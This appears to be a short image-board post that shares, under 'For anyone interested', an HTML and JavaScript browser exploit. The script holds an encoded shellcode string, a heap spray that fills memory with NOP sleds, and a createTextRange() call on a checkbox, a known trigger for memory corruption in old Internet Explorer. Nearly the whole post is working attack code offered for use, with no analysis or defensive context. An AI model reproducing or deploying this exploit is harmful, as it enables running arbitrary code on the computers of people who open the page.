>>37
>>46
For anyone interested:
<input type="checkbox" id="blah">
AAAAA
<SCRIPT language="javascript">
shellcode = unescape("%u4343%u4343"+"%u0eeb%u4b5b%uc933%uf3b1%u3480%uee0b%ufae2%u05eb%uede8%uffff%u07ff%uee4a%ueeee%u8ab1%ude4f%ueeee%u65e
e%ue2ae%u9e65%u43f2%u8665%u65e6%u8419%ub7ea%uaa06%ueeee%u0cee%u8617%u8081%ueeee%u9b86%u829c%uba83%uf811%u0665%uc006%ueeee%u6dee%uce02%u326
5%uce84%u11bd%ueab8%uea29%ub2ed%uc08f%u298b%uedaa%u96ea%uee8b%uddee%ube2e%ubdbe%ubeb9%ub811%u65fe%ube32%u11bd%ue6b8%ub811%ubfe2%u65b8%ud29
b%u9a65%u96c0%u1bed%u65b8%uce98%u1bed%u27dd%uafa7%ued43%udd2b%ue135%ufe50%u38d4%ue69a%u252f%uede3%uae34%u1f05%uf1d5%u099b%u65b0%ucab0%u33e
d%u6588%ua5e2%ub065%uedf2%u6533%u65ea%u2bed%ub045%u2db7%ub906%u1111%u6011%ue0a0%u2f02%u0b97%u7656%u6410%u90e0%u0c36%ud89d%uc1f4%u869e%u9a9
a%ud49e%uc1c1%u9d8f%u888a%uc089%u9b97%u8b9a%uc096%u9b9c%u8fc1%u8bc0%u8b96%u00ee");
bigblock = unescape("%u9090%u9090");
slackspace = 20 + shellcode.length
while (bigblock.length < slackspace)
bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length + slackspace < 0x40000)
block = block + block + fillblock;
memory = new Array();
for ( i = 0; i < 2020; i++ )
memory
[i] = block + shellcode;
var r = document.getElementById('blah').createTextRange();
</script>